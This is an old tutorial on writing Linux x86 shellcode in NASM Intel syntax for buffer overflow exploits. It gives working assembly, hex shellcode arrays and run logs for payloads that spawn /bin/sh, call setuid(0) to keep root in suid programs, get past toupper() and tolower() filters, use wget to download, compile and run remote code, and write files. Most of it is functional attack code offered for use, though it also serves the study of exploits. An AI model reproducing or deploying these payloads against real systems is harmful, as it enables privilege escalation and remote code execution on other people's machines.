Shellcoding with NASM - - starch www.weed5.org Intro - ----- Most of the buffer overflow docs ive seen have shellcode only in the AT&T syntax (i.e uses GNU assembler), but many people who have used TASM/MASM would prefer to code shellcode in the Intel sytax using the free Netwide Assembler. This doc will provide working shellcode that i have written over the years using NASM, providing brief explanation and comments along with the assembly source. You must have a understanding of buffer overflows and basics of assembly before proceeding to read this document. All assembly code is linux x86 specific. Intel Syntax - ------------ A few things to remember about the intel syntax mov instruction works opposite to that of the at&t syntax mov destination, source There are no special instructions for the length of the operand (like movl, xorb..etc) but there are keywords to specify the size of the operands e.g mov [key], byte 1 The above instruction will move a byte size of 1 into the memory location specified by key. Note that the assembler has no way of telling what would be the size of the memory location. It is illegal to specify instructions like mov eax, esi + 9 because the value that mov stores in eax must end in a constant, hence there is another instruction, lea eax, [esi + 9] which would load the (effective) address of [esi + 9] into the eax register. Please see [4] for a list of guides for NASM. Syscalls in linux - ----------------- This is a basic introduction to calling the system calls using assembly. There are two different ways to call syscalls. One by passing parameters on the stack and the other by passing parameters through the general registers. We will see how parameter passing through the register works. The syscall number must be present in the eax register. The syscall number can be obtained from /usr/include/asm/unistd.h on a linux box. The first parameter must be in the ebx register, the second in the ecx, and the third in the edx register. The return value is placed in the eax register. Finally the O/S interrupt service must be called. On linux its 0x80. So an int 80h would call the syscall. Shellcode - --------- 1) The /bin/sh execve call First lets see a program that will simply spawn a /bin/sh shell (see the execve(2) manpage for syntax) - ---------------------- global main ; main is global segment .text ; text segment main: mov eax, 11 ; 11 in eax mov ebx, shell ;address of /bin/sh in ebx mov [addr], ebx ; mov the address of ebx to addr mov ecx, addr ; mov the address of addr (i.e the address of address of shell) mov edx, 0 ; mov the double word 0 into null int 80h ; call the os interrupt segment .data ; our data shell db '/bin/sh',0 addr db 'AAAA' - ----------------------- The above code loads the 11 into the eax, moves /bin/sh into ebx, moves the address of address of /bin/sh into ecx and finally moves the null (double word 0) into edx. Lets see if it works - ------------------------------ starch@mir ~/nasm$ nasm -f elf exec.asm starch@mir ~/nasm$ gcc -o exec exec.o starch@mir ~/nasm$ ./exec sh-2.05$ - ------------------------------ Works!. But ofcourse this code cannot be used because it has null bytes and isnt position independent. For getting the actual shellcode we will use typo/teso's outp.c (teso is elite!). This is a much easier way that disassembling using gdb and writing down the opcodes' - ------------------------- outp.c ----------------------- #include /* convert .s to shellcode. typo/teso (typo@inferno.tusculum.edu) $ cat lala.s .globl cbegin .globl cend cbegin: xorl %eax, %eax ... cend: $ gcc -Wall lala.s outp.c -o lala $ ./lala unsigned char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb3\x0f\xb1\x0f\xb0\x47\xcd\x80\xeb\x1e\x5b" "\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c" "\xb0\x0b\xcd\x80\x89\xc3\x31\xc0\xb0\x01\xcd\x80\xe8\xdd\xff\xff\xff" "\x2f\x74\x6d\x70\x2f\x74\x73\x74\x65\x73\x6f\x63\x72\x65\x77\x21\x21"; ... */ extern void cbegin(); extern void cend(); int main() { char *buf = (char *) cbegin; int i = 0, x = 0; printf("unsigned char shellcode[] = \n\""); for (; (*buf) && (buf < (char *) cend); buf++) { if (i++ == 17) i = 1; if (i == 1 && x != 0) printf("\"\n\""); x = 1; printf("\\x%02x", (unsigned char) *buf); } printf("\";\n"); printf(" int main() { void (*f)(); f = (void *) shellcode; printf(\"%%d\\n\", strlen(shellcode)); f(); } "); return(0); } - -------------------outp.c---------------------------- To use outp.c we need to declare cbegin and cend globals and put the labels cbegin and cend at the beginning and the end of the code respectively. Now for the code - --------------------exec.asm------------------- global cbegin ; cbegin global global cend ; cend global segment .text ; text segment cbegin: jmp short jmpto call1: pop esi ; call call1 pushes the address of /bin/sh onto stack, we pop it xor eax, eax ; initalize eax to 0 mov ebx, esi ;address of /bin/sh in ebx dec byte [ebx + 7] ; we decrease the 1 after /bin/sh to 0, remember no 0's in shellcode mov [ebx + 8], esi ; mov the address of /bin/sh to AAAA mov [ebx + 12], eax ; mov 0000 into NNNN mov al, 11 ; 11 in eax, a mov eax, 11 will give binary 0's lea ecx, [esi + 8] ; mov the address of AAAA into ecx lea edx, [esi + 12] ; mov the address of NNNN into edx int 80h ; call the os interrupt jmpto: ; place to jump! call call1 db '/bin/sh',1 db 'AAAANNNN' cend: - --------------------exec.asm-------------------- Now lets see if it works. - ----------------------------------------- root@mir ~/nasm# nasm -f elf exec.asm root@mir ~/nasm# gcc -o exec exec.o outp.c root@mir ~/nasm# ./exec unsigned char shellcode[] = "\xeb\x18\x5e\x31\xc0\x89\xf3\xfe\x4b\x07\x89\x73\x08\x89\x43\x0c\xb0" "\x0b\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x01\x41\x41\x41\x41\x4e\x4e\x4e\x4e"; int main() { void (*f)(); f = (void *) shellcode; printf("%d\n", strlen(shellcode)); f(); } root@mir ~/nasm# ./exec > test.c root@mir ~/nasm# gcc -o test test.c root@mir ~/nasm# ./test 47 sh-2.05# - ------------------------------------------ Voila. works! 2) execve with a call to setuid(0) Sometimes we have suid programs which call a seteuid(getuid()); so it would remove root privlages before a buffer can be overflowed. To overcome this problem we call our own setuid (0) within the shellcode - --------------------exec.asm------------------- global cbegin ; cbegin global global cend ; cend global segment .text ; text segment cbegin: jmp short jmpto call1: xor eax, eax ; eax = 0 mov al, 213 ; mov the syscall number of setuid32() to al xor ebx, ebx ; ebx = 0, because setuid(0) int 0x80 pop esi ; call call1 pushes the address of /bin/sh onto stack, we pop it xor eax, eax ; initalize eax to 0 mov ebx, esi ;address of /bin/sh in ebx dec byte [ebx + 7] ; we decrease the 1 after /bin/sh to 0, remember no 0's in shellcode mov [ebx + 8], esi ; mov the address of /bin/sh to AAAA mov [ebx + 12], eax ; mov 0000 into NNNN mov al, 11 ; 11 in eax, a mov eax, 11 will give binary 0's lea ecx, [esi + 8] ; mov the address of AAAA into ecx lea edx, [esi + 12] ; mov the address of NNNN into edx int 80h ; call the os interrupt jmpto: ; place to jump! call call1 db '/bin/sh',1 db 'AAAANNNN' cend: - --------------------exec.asm-------------------- 3) Shellcode to pass toupper() Manytimes programs call toupper() to convert the entire buffer to upperchars. This is a big problem for our shellcode, because some opcodes and the '/bin/sh' will be converted to upper chars and the shellcode will be useless. A nice way to overcome this problem is to have the shellcode to 'build' the string '/bin/sh' withing the program code. Example follows. - -------------upper.asm------------------ global cbegin ; cbegin global global cend ; cend global segment .text ; text segment cbegin: jmp short jmpto call1: pop esi ; call call1 pushes the address of /bin/sh onto stack, we pop it add byte [esi + 1], 50 ; make 48 'b' add byte [esi + 2], 60 ; make 45 'i' add byte [esi + 3], 70 ; make 40 'n' add byte [esi + 5], 70 ; make 45 's' add byte [esi + 6], 60 ; make 44 'h' xor eax, eax ; initalize eax to 0 mov ebx, esi ;address of /bin/sh in ebx mov [ebx + 7], byte al ; we mov 0 to the place 1 is after /bin/sh, remember no 0's in shellcode mov [ebx + 8], ebx ; mov the address of /bin/sh to AAAA mov [ebx + 12], eax ; mov 0000 into NNNN mov al, 11 ; 11 in eax, a mov eax, 11 will give binary 0's lea ecx, [esi + 8] ; mov the address of AAAA into ecx lea edx, [esi + 12] ; mov the address of NNNN into edx int 80h ; call the os interrupt jmpto: ; place to jump! call call1 db 47, 48, 45, 40, 47 , 45, 44, 1 db 'AAAANNNN' cend: - -----------------upper.asm-------------- Now we need to test it - -----------------test.c---------------- unsigned char shellcode[] = "\xeb\x2c\x5e\x80\x46\x01\x32\x80\x46\x02\x3c\x80\x46\x03\x46\x80\x46" "\x05\x46\x80\x46\x06\x3c\x31\xc0\x89\xf3\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\xb0\x0b\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xcf\xff\xff\xff" "\x2f\x30\x2d\x28\x2f\x2d\x2c\x01\x41\x41\x41\x41\x4e\x4e\x4e\x4e"; unsigned char shell[100]; int main() { int i; for (i = 0; i < strlen(shellcode); i++) { shell[i] = (unsigned char)toupper(shellcode[i]); } shell[i] = '\0'; if (memcmp (shell, shellcode, strlen(shellcode))==0) printf ("No change in shellcode\n"); else printf ("shellcode changed after toupper()\n"); } - ----------------test.c------------------ - ---------------------------------------- root@mir ~/nasm# gcc -o t test.c root@mir ~/nasm# ./t No change in shellcode - ---------------------------------------- Works!. Now this shellcode can pass through any toupper() filter. 4) Shellcode to pass through tolower() Now the below shellcode can pass through any tolower() filter. - ----------------------lower.asm------------ global cbegin ; cbegin global global cend ; cend global segment .text ; text segment cbegin: main: jmp short jmpto call1: pop esi ; call call1 pushes the address of /bin/sh onto stack, we pop it mov ebx, esi ;address of /bin/sh in ebx xor eax, eax ; initalize eax to 0 sub byte [esi + 7], 1 ; we subtract 1 from 1 , to make it zero mov [esi + 8], esi ; mov the address of /bin/sh to aaaa xor ebx, ebx mov [esi + 12], ebx ; mov 0000 into NNNN mov al, 11 ; 11 in eax, a mov eax, 11 will give binary 0's ; we cannot use lea ecx, [esi +8], because it will produce a upper char lea ebx, [esi + 8] ; mov the address of AAAA into ebx mov ecx, ebx ; mov ebx to ecx ; we cannot use lea edx, [esi + 12], because it will produce a upper char lea ebx, [esi + 12] ; mov the address of NNNN into edx mov edx, ebx mov ebx, esi ; ebx is address of /bin/sh int 80h ; call the os interrupt jmpto: ; place to jump! call call1 db '/bin/sh', 1 db 'aaaannnn' cend: - -----------------------lower.asm------------ 5) Using wget to download remote file, compile it and execute it Now we will try to execute wget to get a remote file, compile it, and execute it. We do it by execve syscall and '/bin/sh -c cmd', where cmd is the wget command along with gcc. We try to get http://localhost/xtre.c. The below code is working proof of concept. - ---------------------wget.asm--------------- global cbegin ; cbegin global global cend ; cend global segment .text ; text segment cbegin: main: jmp short jmpto call1: pop esi ; call call1 pushes the address of /bin/sh onto stack, we pop it xor eax, eax ; substitute all # with 0 mov [esi + 7], al mov [esi + 10], al mov [esi + 76], al ; mov addr of /bin/sh to XXXX mov [esi + 77], esi ; mov addr of -c to YYYY lea ecx, [esi + 8] mov [esi + 81], ecx ; mov addr of /usr/bin/wget.. to ZZZZ lea ecx, [esi + 11] mov [esi + 85], ecx ; mov 0000 to AAAA xor ebx, ebx mov [esi + 89], ebx xor eax, eax ; eax = 0 mov al, 11 ; syscall 11 mov ebx, esi ; move addr of /bin/sh as arg1 lea ecx, [esi + 77] ; move addr of XXXXYYYYZZZZAAAA to ecx as second arg xor edx, edx ; *envp[] is a null pointer int 80h ; call the os interrupt jmpto: ; place to jump! call call1 bin db '/bin/sh#' argv db '-c#' argv1 db '/usr/bin/wget http://localhost/xtre.c; gcc -o xtre xtre.c; ./xtre#' addr db 'XXXXYYYYZZZZAAAA' ; XXXX is addr of /bin/sh ; YYYY is addr of -c ; ZZZZ is addr of /usr/bin/wget... ; AAAA is addr of NULL cend: - ---------wget.asm------------------ Now lets see if it works.. - ----------------------------------- root@mir ~/nasm# nasm -f elf wget.asm; gcc -o wget1 wget.o outp.c ; ./wget1 >test.c; root@mir ~/nasm# gcc -o t test.c; ./t 145 - --14:45:00-- http://localhost/xtre.c => `xtre.c' Connecting to localhost:80... connected! HTTP request sent, awaiting response... 200 OK Length: 69 [text/plain] 0K 100% @ 11.23 KB/s 14:45:00 (3.96 KB/s) - `xtre.c' saved [69/69] test! root@mir ~/nasm# - ----------------------------------- Works!. Remember to change a few numerical values of address offsets when modifying the URL for wget to download from. 6) Opening and writing to files To open and write to files we need to use the open and write syscall, with the respective arguments, a easy way to find out the hex parameters to pass to open syscall is to write a sample C program and disassemble it with gdb e.g for open ("test", O_WRONLY| O_CREAT | O_APPEND, 0666); - ---------------------------------------------------- root@mir ~# gdb open GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT) Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble main Dump of assembler code for function main: 0x8048460
: push %ebp 0x8048461 : mov %esp,%ebp 0x8048463 : sub $0x8,%esp 0x8048466 : sub $0x4,%esp 0x8048469 : push $0x1b6 0x804846e : push $0x441 0x8048473 : push $0x80484f8 0x8048478 : call 0x8048348 0x804847d : add $0x10,%esp 0x8048480 : mov %eax,%eax 0x8048482 : mov %eax,0xfffffffc(%ebp) 0x8048485 : mov $0x0,%eax 0x804848a : leave 0x804848b : ret 0x804848c : nop 0x804848d : nop 0x804848e : nop 0x804848f : nop End of assembler dump. (gdb) - ------------------------------------------------ As we see the parameters are passed in reverse order in the stack. Mode 0666 is 1b6h and flags O_WRONLY| O_CREAT | O_APPEND is 441h Now for the code - -------------------open.asm-------------------- global cbegin ; cbegin global global cend ; cend global segment .text ; text segment cbegin: main: jmp short jmpto call1: pop esi ; get address xor eax, eax ; make eax 0 mov [esi + 9], al ; replace # with 0 ; open ("/tmp/test", O_WRONLY|O_APPEND|O_CREAT, 0666); mov al, 5 ; 5 = open syscall mov ebx, esi ; address of /tmp/test mov cx, 441h ; O_WRONLY, O_APPEND, O_CREAT mov dx, 1b6h ; 0666 int 80h ; ca;; interrupt ; eax will now contain file descriptor ; write (fd, "starch was here!", 18); mov ebx, eax ; save the file descriptor xor eax, eax; eax = 0 xor edx, edx; edx = 0 mov [esi + 29], al ; make # 0 lea ecx, [esi + 10] ; load address of "starch..." to ecx mov al, 4 ; 4 is syscall of write mov dl, 18 ; length of 'starch ..' int 80h ; call the os interrupt xor eax, eax inc al ; eax = 1 the exit () syscall int 80h ; interrupt again! jmpto: ; place to jump! call call1 db '/tmp/test#' db 'starch was here!#' cend: - -------------------------open.asm-------------------- 7) Port binding shellcode HAVE TO DO THIS SECTION Conclusion - ---------- I hope this document was useful for you, I always prefer coding with NASM than GAS. Other Resources - ---------- [1] phrack 49-14 - "smashing stack for fun and profit" [2] Mudge's article on buffer overflows [3] Mixter's article on buffer overflows [4] www.linuxassembly.org